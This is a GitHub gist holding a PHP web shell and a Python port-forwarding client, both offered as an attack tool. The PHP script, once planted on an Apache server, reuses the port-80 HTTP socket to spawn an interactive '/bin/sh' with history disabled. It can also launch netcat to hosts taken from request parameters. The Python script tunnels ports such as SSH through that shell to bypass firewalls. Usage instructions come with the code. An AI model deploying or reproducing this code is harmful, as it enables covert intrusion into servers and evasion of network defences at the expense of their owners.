Skip to content

Instantly share code, notes, and snippets.

@wofeiwo
Last active July 26, 2023 22:17
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save wofeiwo/66d7e227caa66e448419 to your computer and use it in GitHub Desktop.
Save wofeiwo/66d7e227caa66e448419 to your computer and use it in GitHub Desktop.
Reuse Apache 80 port to spawn a interactive shell. Bypass the firewall.
<?php
//
// port_reuse.php
//
// Created by wofeiwo <wofeiwo@80sec.com> on 2011-08-27.
// Copyright 2011 80sec. All rights reserved.
// Reuse Apache 80 port to spawn a interactive shell. Bypass the firewall.
// Note: Only available on PHP >= 5.3.6 with mod_php on apache.
// Usage: 1. Put the script on htdocs.
// 2. Get interactive shell:
// nc www.target 80
// GET /port_reuse.php HTTP/1.0\r\n\r\n
// 3. Forward port:
// ./pr.py http://www.target.com/port_reuse.php 127.0.0.1:22
// ssh root@localhost -p 1234
//
function find_socket(){
// Get tcp connection status from /proc
$net = file_get_contents("/proc/net/tcp");
$net .= file_get_contents("/proc/net/tcp6");
// Find fd from /proc
$dir = dir("/proc/self/fd");
while (false !== ($e = $dir->read())) {
// Find socket inode in /proc/self/fd.
if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){
if(preg_match("/socket:\[(\d+)\]/", @readlink("/proc/self/fd/".$e), $m1)){
// Match every socket inode in /proc/net/tcp & /proc/net/tcp6.
// If it matchs this connection remote ip/remote port, bingo! We got it!
if(preg_match("/.*${m1[1]}/", $net, $m2)){
preg_match_all("/(\w{8}):(\w{4})/", $m2[0], $m3);
// decode ips
$sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1];
sscanf($sipstring, "%x", $siplong);
$ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1];
sscanf($ripstring, "%x", $riplong);
$sip = long2ip($siplong);
$rip = long2ip($riplong);
// decode ports
sscanf($m3[2][0], "%x", $sport);
sscanf($m3[2][1], "%x", $rport);
if ($rip == $_SERVER['REMOTE_ADDR'] && $rport == $_SERVER['REMOTE_PORT']){
$dir->close();
return $e; // That is our socket fd.
}
}
}
}
}
$dir->close();
return false;
}
function spawn_shell($fd, $cmd)
{
$fp = fopen("php://fd/".$fd, "a+");
//stream_set_blocking($fp, false);
$descs = array(
0 => $fp,
1 => $fp,
2 => $fp
);
$cwd = getcwd();
$shell = proc_open($cmd, $descs, $pipes, $cwd, $_ENV);
if(is_resource($shell)){
proc_close($shell);
}else{
die("[-] Can't fork shell process.\n");
}
}
function main(){
// Some env checks here.
if (version_compare(phpversion(), '5.3.6') < 0){
die("[-] PHP must at least version 5.3.6.\n");
}
if (!(isset($_REQUEST['rhost']) && isset($_REQUEST['rport']))){
$cmd = "unset HISTFILE ; id ; uname -a ; pwd ; /bin/sh -ip";
}
else{
$cmd = "nc ${_REQUEST['rhost']} ${_REQUEST['rport']}";
}
$fd = find_socket();
if (!isset($fd)){
die("[-] Can't find this socket information.\n");
}
if(isset($cmd)){
spawn_shell($fd, $cmd);
}
}
main();
#!/usr/bin/env python
#coding=utf-8
# Author: wofeiwo@80sec.com
# Version: 1.0
# Last modified: 2011-09-30
import socket
import threading
import SocketServer
import urlparse
import os, sys, getopt, signal
HELP_MESSAGE = """
pr.py [-l|--local local_addr] <remote_url> <forward_addr>
Example:
\t pr.py -l 127.0.0.1:1234 http://target.com/t.php 10.1.1.10:80
"""
verbose = False
local_addr = "127.0.0.1:1234"
url = ""
target = ""
lserver = None
class Usage(Exception):
def __init__(self, msg):
self.msg = msg
class recvHandler(threading.Thread):
def __init__(self, remote, local):
threading.Thread.__init__(self)
self.remote = remote
self.local = local
def run(self):
while True:
try:
dataReceived = self.remote.recv(1024);
if not dataReceived: break
self.local.send(dataReceived)
except socket.timeout:
break
self.remote.close()
self.local.close()
class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
global url, target
u = urlparse.urlparse(url)
if u.netloc.find(":") != -1:
hostname, port = u.netloc.split(":")
port = int(port)
else:
hostname = u.netloc
port = 80
rhost, rport = target.split(":")
self.remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.remote.connect((hostname, port))
self.remote.send(b"GET %s?rhost=%s&rport=%s HTTP/1.1\r\nHost: %s\r\n\r\n" % (u.path, rhost, rport, u.netloc))
recvHandler(self.remote, self.request).start()
while True:
try:
dataReceived = self.request.recv(1024)
if not dataReceived: break
self.remote.send(dataReceived)
except socket.timeout:
break
def finish(self):
self.request.close()
self.remote.close()
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
def sigint_handler(signal, frame):
lserver.shutdown()
sys.exit(1)
def main(argv=None):
global verbose, url, target, local_addr, HELP_MESSAGE, lserver
if argv is None:
argv = sys.argv
try:
try:
opts, args = getopt.getopt(
argv[1:],
"hl:v",
["help", "local=", "verbose"]
)
except getopt.error, msg:
raise Usage(msg)
# option processing
for option, value in opts:
if option == "-v":
verbose = True
if option in ("-h", "--help"):
raise Usage(HELP_MESSAGE)
if option in ("-l", "--local"):
local_addr = value
if (not args) and (len(args) != 2):
raise Usage("参数数目不够.")
else:
url = args[0]
target = args[1]
LHOST, LPORT = local_addr.split(":")
except Usage, err:
print >> sys.stderr, sys.argv[0].split("/")[-1] + ": " + str(err.msg)
print >> sys.stderr, "[*] 获取帮助请用 -h 或 --help"
return -1
signal.signal(signal.SIGINT, sigint_handler)
lserver = ThreadedTCPServer((LHOST, int(LPORT)), ThreadedTCPRequestHandler)
lserver_thread = threading.Thread(target=lserver.serve_forever)
# lserver_thread.setDaemon(True)
lserver_thread.start()
if __name__ == "__main__":
sys.exit(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment